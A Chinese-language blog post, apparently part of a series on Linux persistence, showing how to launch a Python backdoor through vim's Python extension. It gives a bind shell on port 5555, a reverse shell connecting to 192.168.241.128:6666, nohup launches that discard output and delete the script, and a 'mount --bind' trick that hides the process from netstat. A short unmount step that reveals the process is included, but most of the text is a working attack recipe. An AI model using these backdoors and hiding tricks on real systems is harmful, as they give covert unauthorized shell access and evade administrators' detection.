Linux权限维持之vim python 扩展后门(五)

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

复制代码
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">
/dev/null 2>&1 &) && sleep 2 && rm -f dir.py

$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

恶意脚本 1.py的内容可以是任何功能的后门,比如监听本地的11端口: 正向后门

复制代码
我们可以多了解看一篇文章
https://www.leavesongs.com/PYTHON/python-shell-backdoor.html 


 
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM) 
    server.bind(('0.0.0.0',5555))
    server.listen(5)
    print ('waiting for connect')
    talk, addr = server.accept() 
    print ('connect from',addr)
    proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, 
                                  stderr=talk, shell=True)

我们新建目录 新建文件

反向后门

复制代码
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.241.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

隐藏后门

复制代码
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。          #"2"在linux中代表错误输出,"1"在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误  输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结   果是否正确,都不会有输出。

将netstat -antp 查看到的可疑连接隐藏起来,解决方法:

既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

复制代码
(nohup vim -E -c "py3file 1.py"> /dev/null 2>&1 &) && sleep 2 && rm -f 1.py

我们打开 Kail 进行监听

但是 这里能看到我们们的进程

隐藏进程

复制代码
mkdir null
mount --bind null /proc/6238
netstat -anpt

#mount--bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅 是无法访问了)。

攻击机nc连接过去就可以了:

复制代码
nohup vim -E -c "pyfile dir.py" nc 127.0.0.1 11

查看 cat /proc/$$/mountinfo 可以看到挂在的目录
sudo umount /proc/2607 sudo netstat -anpt
ps aux | grep 2607

总体步骤

刚开始

然后我们隐藏进程

然后输入

复制代码
mkdir null
mount --bind null /proc/3362
netstat -anpt

发现已经被隐藏

然后我们

复制代码
查看 cat /proc/$$/mountinfo 可以看到挂在的目录
然后取消挂载
sudo umount /proc/3362
查看进程
sudo netstat -anpt
ps aux | grep 2607

查看挂载目录

然后我们取消挂载 发现又回来了

然后我们在挂载

mount --bind null /proc/3362

现在又看不到了

然后我们进行监听

相关推荐
fofantasy4 分钟前
NSK LH25FL 升级至 NH25EM 技术规格指南
服务器·网络·数据库·经验分享·规格说明书
facaixxx202420 分钟前
雨云服务器区域选择终极指南:地域速度、节点带宽、延迟及防御说明
服务器·云服务器·雨云服务器·云服务器区域·云服务器地域·云服务器节点
小坏蛋至尊宝21 分钟前
如何优化文件传输的性能?
运维·服务器
梁辰兴23 分钟前
计算机网络基础:报文鉴别
网络·计算机网络·计算机·计算机网络基础·梁辰兴·报文鉴别
小羽网安34 分钟前
2026年服务器安全防护实战:从被DDoS到完整防护体系搭建
服务器·安全·ddos
hbugs00135 分钟前
EVE-NG V7常用网络协议流量洞察Filter
网络·网络协议
古城小栈35 分钟前
Python 的主流Ai框架为什么优先适配 Linux 系统?
linux·人工智能·python
DolitD42 分钟前
点盾云新增VR加密功能:一机一码,让VR内容分发安全可控
安全·vr·视频
qq_4523962344 分钟前
第十四篇:《K8s 网络模型与 CNI 插件(Calico、Flannel、Cilium)》
网络·kubernetes·php
huainingning1 小时前
华为supervlan+sub address组网模拟与sub vlan互通方法
网络